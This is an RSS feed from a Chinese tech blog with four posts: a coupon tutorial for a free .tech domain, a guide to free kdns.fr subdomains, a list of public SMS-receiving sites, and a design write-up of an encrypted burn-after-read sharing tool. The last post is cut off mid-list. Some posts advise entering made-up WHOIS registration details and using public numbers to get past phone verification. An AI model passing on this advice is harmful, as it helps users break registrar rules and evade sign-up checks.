<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>我的博客</title><description>记录生活，分享思考</description><link>https://blog.ouneed.tech/</link><language>zh_TW</language><item><title>免費領 .tech 域名教程：首年 $0 實測</title><link>https://blog.ouneed.tech/posts/free-tech-domain-tutorial/</link><guid isPermaLink="true">https://blog.ouneed.tech/posts/free-tech-domain-tutorial/</guid><description>get.tech 官方優惠碼 hacktoberfestd0b8o5 首年 $0 註冊 .tech 域名，全程實測：優惠碼怎麼填、$9 隱私保護怎麼關、$0 確認、註冊後關自動續費與解綁卡。</description><pubDate>Sun, 18 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;實測時間：2026-10-18，全程走完流程驗證。教程中所有域名、郵箱均為測試內容。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;這是什麼羊毛&lt;/h2&gt;
&lt;p&gt;get.tech 是 .tech 頂級域註冊局的官方直銷註冊商。現在有個 Hacktoberfest 2026 開發者福利：結賬時輸入優惠碼，首年註冊費直接變 &lt;strong&gt;$0&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;首年：&lt;strong&gt;$0&lt;/strong&gt;（原價 $49.99，促銷價 $12.99，優惠碼後 $0）&lt;/li&gt;
&lt;li&gt;續費：$29.99/年（第二年起，記得關自動續費）&lt;/li&gt;
&lt;li&gt;優惠碼：&lt;code&gt;hacktoberfestd0b8o5&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;優惠碼有效期未知，早領早安心&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;get.tech 是誰？安全嗎？&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;get.tech 是 .tech 註冊局 Radix（Dot Tech LLC）的官方註冊商&lt;/strong&gt;。Radix 在 2014 年 ICANN 公開拍賣中以 676 萬美元擊敗 Google、Donuts 等拿下 .tech 運營權，是正規大註冊局，旗下還有 .online、.store、.site 等後綴。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;和 GitHub 的關係&lt;/strong&gt;：GitHub Student Developer Pack 裡的「免費 .tech 域名一年」就是通過 get.tech 領取的（get.tech/github-student-developer-pack），官方合作，不是野雞網站。&lt;/li&gt;
&lt;li&gt;結論：網站本身正規。但註冊域名要綁卡（領完就解綁），且下面會關掉隱私保護，WHOIS 信息會公開，所以註冊信息別填真實的。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;準備工作&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;一個郵箱（臨時郵箱也行，實測註冊不需要郵箱驗證）&lt;/li&gt;
&lt;li&gt;優惠碼：&lt;code&gt;hacktoberfestd0b8o5&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;一張卡（走個綁卡流程用，$0 訂單實際不扣款，領完解綁）&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;註冊流程&lt;/h2&gt;
&lt;h3&gt;1. 搜索域名&lt;/h3&gt;
&lt;p&gt;打開 https://get.tech，首頁搜索框輸入想要的域名，比如 &lt;code&gt;myproject.tech&lt;/code&gt;，點搜索。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;顯示 &quot;xxx.tech is available&quot;（綠色勾）就是可註冊&lt;/li&gt;
&lt;li&gt;價格顯示 $49.99（劃線）→ $12.99，RENEWS AT $29.99，時長選 1 YEAR&lt;/li&gt;
&lt;li&gt;點 &quot;ADD TO CART +&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 查看購物車&lt;/h3&gt;
&lt;p&gt;點右上角購物車或 &quot;Proceed&quot; 進入購物車頁，確認商品是你的域名、1 YEAR、$12.99。&lt;/p&gt;
&lt;h3&gt;3. 輸入優惠碼（關鍵）&lt;/h3&gt;
&lt;p&gt;在商品行下方找到 &lt;strong&gt;&quot;HAVE A COUPON?&quot;&lt;/strong&gt;，輸入 &lt;code&gt;hacktoberfestd0b8o5&lt;/code&gt;，點 Apply。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;成功會提示 &quot;Coupon applied! One year free .tech domain&quot;&lt;/li&gt;
&lt;li&gt;域名行價格變為 $0.00&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. 關閉 Privacy Protection（關鍵）&lt;/h3&gt;
&lt;p&gt;在域名商品行正下方有個 &lt;strong&gt;&quot;Privacy Protection&quot;&lt;/strong&gt;（標著 Recommended），右側是綠色開關，價格 &lt;strong&gt;$9.00&lt;/strong&gt;，點一下把它關掉（變灰色）。&lt;/p&gt;
&lt;p&gt;⚠️ 注意：關掉後優惠碼可能失效、總價跳回 $12.99——別慌，重新輸入優惠碼 Apply 一次就行。&lt;/p&gt;
&lt;p&gt;為什麼關：① 省 $9；② 關掉後 WHOIS 公開，所以下一步註冊信息別填真實的。&lt;/p&gt;
&lt;h3&gt;5. 確認 $0 再下一步&lt;/h3&gt;
&lt;p&gt;檢查訂單：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SUB TOTAL: $0.00&lt;/li&gt;
&lt;li&gt;TAX: $0.00&lt;/li&gt;
&lt;li&gt;TOTAL: &lt;strong&gt;$0.00&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;確認 TOTAL 是 $0.00 再點下一步。如果不是 $0，別點！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;因為 total 是 $0，流程裡根本沒有輸卡號的付款界面，最後一步就是點 &quot;Confirm Order&quot;（或 &quot;Place Order&quot;）。&lt;/p&gt;
&lt;h3&gt;6. 填寫註冊信息&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;因為關掉了隱私保護，WHOIS 會公開你填的信息，&lt;strong&gt;不要填真實姓名/地址/電話&lt;/strong&gt;，編一個就行&lt;/li&gt;
&lt;li&gt;郵箱填你能收到信的（臨時郵箱也行）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7. 完成&lt;/h3&gt;
&lt;p&gt;點確認後域名就是你的了。登錄後在 &quot;My Domains&quot; 裡能看到。&lt;/p&gt;
&lt;h2&gt;註冊後的必做安全設置&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;關自動續費&lt;/strong&gt;：登錄 → My Domains → 找到你的域名 → 關掉 Auto-Renew（續費 $29.99/年，不關第二年自動扣錢）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解綁卡&lt;/strong&gt;：賬戶設置 → Payment Methods / Billing → 刪除綁定的卡&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;換 NS&lt;/strong&gt;（可選）：想把 DNS 託管到 Cloudflare 的話，在域名管理頁把 NS 改成 Cloudflare 給你的兩個地址&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;注意事項&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;優惠碼隨時可能失效，看到就盡快領&lt;/li&gt;
&lt;li&gt;續費很貴（$29.99/年），不打算續的一定要關自動續費&lt;/li&gt;
&lt;li&gt;get.tech 網站不太穩定，經常轉圈卡住，多等一會或刷新重試&lt;/li&gt;
&lt;li&gt;建議一個賬號領一個，別貪多&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>免費二級域名 kdns.fr 教程：順帶科普頂級域名和二級域名的區別</title><link>https://blog.ouneed.tech/posts/free-kdns-subdomain-tutorial/</link><guid isPermaLink="true">https://blog.ouneed.tech/posts/free-kdns-subdomain-tutorial/</guid><description>KataBump 免費送 *.kdns.fr 二級域名，全程走查：服務是誰在運營、怎麼領取、有什麼限制。附帶科普：頂級域名和二級域名到底差在哪裡，為什麼有人願意花錢買 .tech。</description><pubDate>Sun, 18 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;走查時間：2026-10-18，公開頁面實地驗證，未註冊賬號。教程中所有域名均為示例。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;上一篇寫了免費領 .tech 頂級域名，有讀者問：kdns.fr 這種免費二級域名又是什麼？今天把這事一次講透，順帶科普一下頂級域名和二級域名的區別。&lt;/p&gt;
&lt;h2&gt;先說結論：兩種「免費域名」完全不是一回事&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;.tech（上一篇）&lt;/th&gt;
&lt;th&gt;*.kdns.fr（這篇）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;層級&lt;/td&gt;
&lt;td&gt;頂級域名（TLD）&lt;/td&gt;
&lt;td&gt;二級域名&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;你得到什麼&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ouneed.tech&lt;/code&gt; 整個域名歸你&lt;/td&gt;
&lt;td&gt;&lt;code&gt;xxx.kdns.fr&lt;/code&gt; 的一個子域名借你用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;所有權&lt;/td&gt;
&lt;td&gt;你是註冊人，ICANN 體系下受保護&lt;/td&gt;
&lt;td&gt;域名歸 KataBump 所有，你只是使用者&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;有效期&lt;/td&gt;
&lt;td&gt;首年 $0，之後 $29.99/年續費&lt;/td&gt;
&lt;td&gt;免費，但隨時可能被收回&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;能否遷走&lt;/td&gt;
&lt;td&gt;可以轉移到其他註冊商&lt;/td&gt;
&lt;td&gt;不能，這輩子都是 kdns.fr 的子域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;適合幹嘛&lt;/td&gt;
&lt;td&gt;正式項目、長期持有&lt;/td&gt;
&lt;td&gt;測試、Demo、短期折騰&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;一句話：&lt;strong&gt;.tech 是買房（首年開發商送），kdns.fr 是借住&lt;/strong&gt;。借住不要錢，但房東隨時可以請你搬走。&lt;/p&gt;
&lt;h2&gt;科普：頂級域名 vs 二級域名&lt;/h2&gt;
&lt;h3&gt;從右往左數點&lt;/h3&gt;
&lt;p&gt;域名層級是從右往左數的。以 &lt;code&gt;blog.ouneed.tech&lt;/code&gt; 為例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.tech&lt;/code&gt; —— 頂級域名（TLD，Top-Level Domain），由 ICANN 授權註冊局運營，普通人不能直接擁有，只能租用&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ouneed.tech&lt;/code&gt; —— 二級域名，這是你在註冊商處真正花錢拿下來的部分&lt;/li&gt;
&lt;li&gt;&lt;code&gt;blog.ouneed.tech&lt;/code&gt; —— 三級域名，域名持有者自己在 DNS 裡隨便加，不要錢&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;關鍵區別不在技術，在「權利」&lt;/h3&gt;
&lt;p&gt;技術上，二級域名和頂級域名解析起來沒差別，瀏覽器一視同仁。真正的區別是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;所有權&lt;/strong&gt;：頂級域名是你花錢租的，租期內歸你支配；別人送的二級域名，所有權在人家手裡&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;控制權&lt;/strong&gt;：自己的域名想怎麼解析怎麼解析，還能換 DNS 服務商；借來的子域名只能用人家的面板，人家說停就停&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;風險&lt;/strong&gt;：頂級域名只要按時續費就不會丟；免費二級域名可能因為服務商倒閉、政策變化、濫用牽連而一夜消失&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;信任度&lt;/strong&gt;：&lt;code&gt;xxx.kdns.fr&lt;/code&gt; 這種一看就是免費子域名，做正式業務時用戶信任度低於獨立域名&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;那免費二級域名還有意義嗎？&lt;/h3&gt;
&lt;p&gt;有，但要擺正位置：&lt;strong&gt;測試、學習、Demo、內網穿透調試&lt;/strong&gt;。不要放重要業務，不要指望它長期穩定。這是所有免費二級域名服務的通用忠告，不只針對 kdns.fr。&lt;/p&gt;
&lt;h2&gt;kdns.fr 是誰？&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;運營方&lt;/strong&gt;：Association KATABUMP，法國非營利協會（SIREN 923 962 724，地址在 Boulogne-Billancourt）。合規文件挺全，不是匿名野雞項目。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主站&lt;/strong&gt;：https://katabump.com（注意：直接打開 https://kdns.fr 會跳轉到他們的濫用舉報站 https://signalement.kdns.fr/，別走錯）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服務內容&lt;/strong&gt;：KataBump 是個面向 Discord/WhatsApp 機器人與應用的免費託管平台，送 &lt;code&gt;*.kdns.fr&lt;/code&gt; 二級域名是它的附帶權益。官網稱已有 100,000+ 個域名被註冊。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;免費額度&lt;/strong&gt;：託管 Free 檔 308 MB RAM、716 MB NVMe、25% CPU，社區支持。&lt;strong&gt;每 4 天要手動續期一次&lt;/strong&gt;，忘記就停機。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;怎麼領取&lt;/h2&gt;
&lt;h3&gt;1. 註冊 KataBump 賬號&lt;/h3&gt;
&lt;p&gt;打開 https://dashboard.katabump.com/auth/register，填寫：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Firstname / Lastname（隨便填，不驗證）&lt;/li&gt;
&lt;li&gt;Email（填能收信的，要驗證）&lt;/li&gt;
&lt;li&gt;Password&lt;/li&gt;
&lt;li&gt;勾選同意條款，點 &quot;Create my account&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;也支持 Discord 一鍵登錄。實測走查時未實際提交，僅確認表單字段。&lt;/p&gt;
&lt;h3&gt;2. 申領域名&lt;/h3&gt;
&lt;p&gt;登錄控制台 → 找到 domains 分區 → 點 &quot;Claim your domain&quot; → 輸入想要的前綴（比如 &lt;code&gt;myproject&lt;/code&gt;），得到 &lt;code&gt;myproject.kdns.fr&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;官方流程就三步：Log in → Register your domain → Point it to your app（指向你賬戶內託管的應用）。&lt;/p&gt;
&lt;h3&gt;3. 配置解析&lt;/h3&gt;
&lt;p&gt;把域名指向你的服務。具體支持哪些記錄類型（A/CNAME/MX/TXT）、能不能接 Cloudflare 等外部 DNS，公開文檔沒寫，要登錄控制台才看得到。這是目前唯一的未知項。&lt;/p&gt;
&lt;h2&gt;限制與條款（必讀）&lt;/h2&gt;
&lt;p&gt;服務條款 Article 16 關於域名的規定，重點如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;每賬戶限領&lt;/strong&gt;：官方保留限制每賬戶域名數量的權利，繞過限制會被封號（公開政策為一賬戶一個免費域名）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;內容審查&lt;/strong&gt;：禁止非法內容；官方可基於域名措辭預防性拒絕/暫停/刪除&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;禁止冒充&lt;/strong&gt;：不能冒充他人身份註冊域名&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;無補償&lt;/strong&gt;：域名被暫停或刪除不產生退款或補償&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;舉報通道&lt;/strong&gt;：signalement.kdns.fr，舉報記錄保留 36 個月後匿名化&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;注意事項&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;每 4 天手動續期一次，適合短期測試，不適合長期服務&lt;/li&gt;
&lt;li&gt;不要放重要業務，免費二級域名隨時可能被收回&lt;/li&gt;
&lt;li&gt;註冊信息隨便填，別用真實個人信息&lt;/li&gt;
&lt;li&gt;想長期持有正經域名，還是回去看上一篇的 .tech 免費領取教程&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>免費接碼網站整理：10 個在線收短信驗證碼的站點實測</title><link>https://blog.ouneed.tech/posts/free-sms-sites/</link><guid isPermaLink="true">https://blog.ouneed.tech/posts/free-sms-sites/</guid><description>整理了 10 個免費在線接收短信驗證碼的網站，逐個實測可用性：9 個正常、1 個已掛。附各站特點與使用提醒。</description><pubDate>Sat, 17 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0. 先說結論&lt;/h2&gt;
&lt;p&gt;註冊網站時不想暴露真實手機號，免費接碼站是個現成的解決方案：打開網頁選個號碼，驗證碼直接顯示在頁面上，不用註冊、不用花錢。&lt;/p&gt;
&lt;p&gt;這次整理了 10 個站，逐個打開驗證了一遍：&lt;strong&gt;9 個能正常訪問，1 個已經掛了&lt;/strong&gt;（smsreceivefree.com 連不上）。下面按我的實測情況重新介紹。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;先潑盆冷水&lt;/strong&gt;：這些都是公開號碼，所有人都能看到收到的短信。&lt;strong&gt;千萬別用來收銀行、支付、重要賬號的驗證碼&lt;/strong&gt;，只適合註冊一些不重要的網站、論壇、測試賬號。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 有中文界面的&lt;/h2&gt;
&lt;h3&gt;freephonenum.com&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;網址：https://freephonenum.com/&lt;/li&gt;
&lt;li&gt;號碼：美國、加拿大共 15 個&lt;/li&gt;
&lt;li&gt;特點：&lt;strong&gt;唯一有中文界面的&lt;/strong&gt;，收發短信都行（發短信每人每天限 5 條），不用註冊&lt;/li&gt;
&lt;li&gt;實測：✅ 正常，首頁能直接看到號碼列表&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;jiemahao.com（接碼號）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;網址：https://jiemahao.com/&lt;/li&gt;
&lt;li&gt;號碼：美國、英國、泰國、香港等地&lt;/li&gt;
&lt;li&gt;特點：支持中文，短信記錄 7 天後刪除，免註冊&lt;/li&gt;
&lt;li&gt;實測：✅ 正常打開&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 覆蓋國家最多的&lt;/h2&gt;
&lt;h3&gt;quackr.io&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;網址：https://quackr.io/&lt;/li&gt;
&lt;li&gt;號碼：覆蓋 22 個國家和地區，美、英、韓、中都在列&lt;/li&gt;
&lt;li&gt;特點：消息 24 小時後自動清除，免註冊，無中文界面&lt;/li&gt;
&lt;li&gt;實測：✅ 正常，首頁直接列出可用號碼&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;temporary-phone-number.com&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;網址：https://temporary-phone-number.com/&lt;/li&gt;
&lt;li&gt;號碼：歐美之外還有香港、日本、馬來西亞等十幾個地區&lt;/li&gt;
&lt;li&gt;特點：亞洲號碼相對多一點，免註冊，無中文界面&lt;/li&gt;
&lt;li&gt;實測：✅ 正常打開&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 美加英為主的&lt;/h2&gt;
&lt;h3&gt;smstome.com&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;網址：https://smstome.com/&lt;/li&gt;
&lt;li&gt;號碼：美國、加拿大、英國、法國、芬蘭、瑞典&lt;/li&gt;
&lt;li&gt;特點：短信 2–3 天後刪除，免註冊，無中文界面&lt;/li&gt;
&lt;li&gt;實測：✅ 正常打開&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;receive-smss.com&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;網址：https://receive-smss.com/&lt;/li&gt;
&lt;li&gt;號碼：美國、加拿大、英國加幾個歐洲國家（沒有亞洲號）&lt;/li&gt;
&lt;li&gt;特點：收短信不限量，24 小時內清空，免註冊&lt;/li&gt;
&lt;li&gt;實測：✅ 正常打開&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;receivesms.org&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;網址：https://www.receivesms.org/&lt;/li&gt;
&lt;li&gt;號碼：美國、加拿大、瑞典、英國，號碼數量不多&lt;/li&gt;
&lt;li&gt;特點：老牌接碼站，免註冊&lt;/li&gt;
&lt;li&gt;實測：✅ 正常打開&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;receive-sms-free.cc&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;網址：https://receive-sms-free.cc/&lt;/li&gt;
&lt;li&gt;號碼：美國、英國、法國等地，號碼量比較大&lt;/li&gt;
&lt;li&gt;特點：免註冊，無中文界面&lt;/li&gt;
&lt;li&gt;實測：✅ 正常打開&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;temp-number.com&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;網址：https://temp-number.com/&lt;/li&gt;
&lt;li&gt;號碼：清一色歐美號碼&lt;/li&gt;
&lt;li&gt;特點：消息只保留 7 天，免註冊&lt;/li&gt;
&lt;li&gt;實測：✅ 正常打開&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 已掛的&lt;/h2&gt;
&lt;h3&gt;smsreceivefree.com ❌&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;實測：連接超時，打不開。之前號稱只有美加號碼、消息保留 7 天，現在已經掛了，先別去。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 使用提醒&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;公開號碼 = 公開短信&lt;/strong&gt;：任何人打開同一個號碼頁面都能看到你的驗證碼，重要賬號千萬別用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;熱門網站可能屏蔽&lt;/strong&gt;：很多大平台（Google、WhatsApp、Telegram 等）會識別並屏蔽這些公開接碼號，收不到碼是常態，換個號碼試試。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;號碼會輪換&lt;/strong&gt;：免費站的號碼池經常變，今天能用的明天可能就沒了，用的時候現選。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;別付費&lt;/strong&gt;：這類站點偶爾會彈出&quot;付費解鎖更多號碼&quot;的廣告，免費的就夠用，別花錢。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;實測時間：2026-10-17。如發現某個站掛了或有新的好站，歡迎留言補充。&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>閱後即焚：瀏覽器端加密的私密文本分享站</title><link>https://blog.ouneed.tech/posts/sealed-burn-after-read/</link><guid isPermaLink="true">https://blog.ouneed.tech/posts/sealed-burn-after-read/</guid><description>用 Cloudflare Workers + D1 打造一個閱後即焚的私密分享工具：AES-256-GCM 瀏覽器端加密、密鑰只在 URL fragment、閱後自動銷毀。</description><pubDate>Sat, 17 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;🔥 &lt;strong&gt;在線體驗&lt;/strong&gt;：&lt;a href=&quot;https://sealed.ouneed.tech&quot;&gt;https://sealed.ouneed.tech&lt;/a&gt; —— 本文中介紹的閱後即焚私密分享站，打开即用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;0. TL;DR：先給結論&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;問題&lt;/th&gt;
&lt;th&gt;結論&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;這是什麼？&lt;/td&gt;
&lt;td&gt;一個跑在 Cloudflare Workers + D1 上的閱後即焚文本分享站&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;怎麼保證隱私？&lt;/td&gt;
&lt;td&gt;AES-256-GCM 瀏覽器端加密；服務端只存密文；解密密鑰在 URL fragment，不經過服務器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;分享鏈接長什麼樣？&lt;/td&gt;
&lt;td&gt;&lt;code&gt;https://&amp;lt;隨機&amp;gt;.workers.dev/s/xxx#k=xxx&lt;/code&gt; —— 中性域名，無身份關聯&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;能存多大？&lt;/td&gt;
&lt;td&gt;單條最大 500KB（加密後）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 為什麼做這個？&lt;/h2&gt;
&lt;p&gt;有時候需要給別人發一段敏感信息：服務器密碼、API 密鑰、一次性憑證。用微信、郵件發，記錄永遠留在聊天記錄裡；用網盤分享，還要註冊登錄。&lt;/p&gt;
&lt;p&gt;閱後即焚解決這個問題：&lt;strong&gt;發一次，看完就沒了&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;市面上有不少類似工具，但要麼要註冊、要麼服務器能看到明文、要麼域名一看就是誰的。自己做一個，乾淨。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 安全設計&lt;/h2&gt;
&lt;h3&gt;2.1 瀏覽器端加密&lt;/h3&gt;
&lt;p&gt;核心原則：&lt;strong&gt;服務器永遠看不到明文&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;寫密箋時，瀏覽器生成 32 字節隨機主密鑰&lt;/li&gt;
&lt;li&gt;用 HKDF-SHA256 從主密鑰派生 AES 密鑰和讀取憑證&lt;/li&gt;
&lt;li&gt;正文用 AES-256-GCM 加密，AAD 綁定應用標識和鹽值&lt;/li&gt;
&lt;li&gt;只有密文、IV、鹽值、憑證哈希上傳到服務器&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.2 密鑰只在 URL fragment&lt;/h3&gt;
&lt;p&gt;解密用的主密鑰放在 URL 的 &lt;code&gt;#k=&lt;/code&gt; 後面（fragment）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://s8ded10ec12.x7k2m9q4test.workers.dev/s/xxx#k=yyy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fragment &lt;strong&gt;不會隨 HTTP 請求發送到服務器&lt;/strong&gt;——瀏覽器只在本地用它解密。這意味著即使服務器被入侵，攻擊者拿到數據庫也解不開（沒有密鑰）。&lt;/p&gt;
&lt;h3&gt;2.3 閱後即焚&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;可設置 1–10 次領取，默認 1 次&lt;/li&gt;
&lt;li&gt;領取時用原子 SQL 操作扣次數，歸零立即刪除記錄&lt;/li&gt;
&lt;li&gt;可設置 5 分鐘 / 1 小時 / 24 小時 / 7 天有效期&lt;/li&gt;
&lt;li&gt;創建時可生成獨立的撤銷憑證，隨時手動銷毀&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.4 隱私隔離&lt;/h3&gt;
&lt;p&gt;分享出去的鏈接用 Cloudflare 的 &lt;code&gt;workers.dev&lt;/code&gt; 中性域名：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;worker 名是隨機字符（如 &lt;code&gt;s8ded10ec12&lt;/code&gt;），無含義&lt;/li&gt;
&lt;li&gt;賬號子域名也是隨機的（如 &lt;code&gt;x7k2m9q4test&lt;/code&gt;），不暴露賬號信息&lt;/li&gt;
&lt;li&gt;對方從鏈接反向查不到你的其他站點（博客、郵局、2FA 等）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;主站（創建用）是自己的域名，分享鏈接（發出去）是中性域名，兩者隔離。&lt;/p&gt;
&lt;h3&gt;2.5 額外密碼（可選）&lt;/h3&gt;
&lt;p&gt;可以再加一道密碼：密碼參與本地密鑰派生（PBKDF2-SHA256，600,000 次迭代）。即使有人拿到完整鏈接，沒有這個密碼也解不開。建議通過&lt;strong&gt;不同渠道&lt;/strong&gt;發送鏈接和密碼。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 技術架構&lt;/h2&gt;
&lt;p&gt;純 Cloudflare，不用 R2（文本夠小，D1 完全夠用）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;瀏覽器 (加密/解密)
    ↓ HTTPS (只傳密文)
Cloudflare Worker
    ↓
D1 數據庫 (存密文 + 元數據)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;限流&lt;/strong&gt;：單 IP 每小時創建 20 條、每分鐘讀取 30 次（D1 原子計數）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定時清理&lt;/strong&gt;：每天 Cron 刪除過期記錄&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSP&lt;/strong&gt;：嚴格的 Content-Security-Policy，內聯腳本按 SHA256 哈希白名單&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 使用場景&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;給同事發服務器 root 密碼（看完即焚，不留記錄）&lt;/li&gt;
&lt;li&gt;分享 API 密鑰給外包（設置 1 次領取 + 1 小時有效期）&lt;/li&gt;
&lt;li&gt;傳遞一次性 2FA 恢復碼&lt;/li&gt;
&lt;li&gt;任何&quot;只想讓對方看一次&quot;的信息&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 侷限性（誠實地說）&lt;/h2&gt;
&lt;ul&gt;
